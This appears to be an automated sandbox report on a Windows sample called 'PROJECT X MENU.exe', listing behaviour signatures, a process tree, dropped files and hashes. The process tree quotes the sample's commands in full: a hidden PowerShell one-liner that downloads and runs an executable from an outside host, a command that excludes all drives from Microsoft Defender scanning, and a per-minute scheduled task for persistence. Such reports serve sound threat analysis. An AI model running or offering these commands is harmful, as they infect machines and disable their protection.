Analysis

  • user interaction
    yes
  • max time kernel
    48s
  • max time network
    47s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 09:00

General

  • Target
    PROJECT X MENU.exe
  • Size 5.5MB
  • Sample260809-kyak3ack91
  • SHA256 c64180ce30300e4dad5b8740c61a904c9cc0d1a3546924059542e272ab99b673
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks system information in the registry 2 TTPs 4 IoCs

    System information is often read in order to detect sandboxing environments.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\PROJECT X MENU.exe
    "C:\Users\Admin\AppData\Local\Temp\PROJECT X MENU.exe"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4604
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cmd /c start /b powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:624
      • C:\Windows\system32\cmd.exe
        cmd /c start /b powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4352
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1204
          • C:\Users\Admin\AppData\Roaming\BK942369.exe
            "C:\Users\Admin\AppData\Roaming\BK942369.exe"
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Checks system information in the registry
            • Suspicious use of WriteProcessMemory
            PID:3828
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              6⤵
              • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
              • Hide Artifacts: Ignore Process Interrupts
              • Suspicious use of WriteProcessMemory
              PID:5360
              • C:\Windows\system32\chcp.com
                chcp 65001
                7⤵
                  PID:1900
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3476
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks.exe /create /f /sc minute /mo 1 /tn "BK942369" /tr "C:\Users\Admin\AppData\Roaming\BK942369.exe"
                6⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3784
    • C:\Users\Admin\AppData\Roaming\BK942369.exe
      C:\Users\Admin\AppData\Roaming\BK942369.exe
      1⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks system information in the registry
      • Suspicious use of WriteProcessMemory
      PID:3488
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        2⤵
        • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious use of WriteProcessMemory
        PID:5528
        • C:\Windows\system32\chcp.com
          chcp 65001
          3⤵
            PID:4136
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5092
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks.exe /create /f /sc minute /mo 1 /tn "BK942369" /tr "C:\Users\Admin\AppData\Roaming\BK942369.exe"
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3620

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 7f721f64bccef724573e7a8cb2873e3c7e00f3e235bd9c43a6844e9fc1eca90f
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a8ec6cbe56d43cac746a775bb01d4e302fa3c5cef6d087ddd5ad6ffb28b28914
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_ly5g4blz.gph.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ly5g4blz.gph.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            ~msnDEV-0e22b63f91b96891.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-0e22b63f91b96891.tmp
            • Size 4B
            • SHA256 c7c180fcbbf8d2eecf60004f76907eb68514f4d858fc1073ec079b1d0d7cabde
            • MD5 SHA1 SHA512

            BK942369.exe

            • Path C:\Users\Admin\AppData\Roaming\BK942369.exe
            • Size 60KB
            • SHA256 8257ea5982473d81d71ed2abf2a8357f4be572978c943f23ef0a30cffc7f5090
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1204-8-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-4-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-9-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-10-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-11-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-13-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-7-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-24-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-6-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-1-0x0000028F7E590000-0x0000028F7E5B2000-memory.dmp

            memory/1204-5-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

            memory/1204-0-0x00007FFB0CABF000-0x00007FFB0CAC0000-memory.dmp

            memory/3476-32-0x0000013A7AC20000-0x0000013A7AC2A000-memory.dmp

            memory/3476-31-0x0000013A7AED0000-0x0000013A7AF82000-memory.dmp

            memory/3476-30-0x0000013A7AC00000-0x0000013A7AC1E000-memory.dmp

            memory/3488-45-0x0000000254000000-0x000000025405A000-memory.dmp

            memory/3488-56-0x00007FF7048D0000-0x00007FF7048E9000-memory.dmp

            memory/3828-36-0x00007FF7048D0000-0x00007FF7048E9000-memory.dmp

            memory/5092-43-0x0000011D23B40000-0x0000011D23BF2000-memory.dmp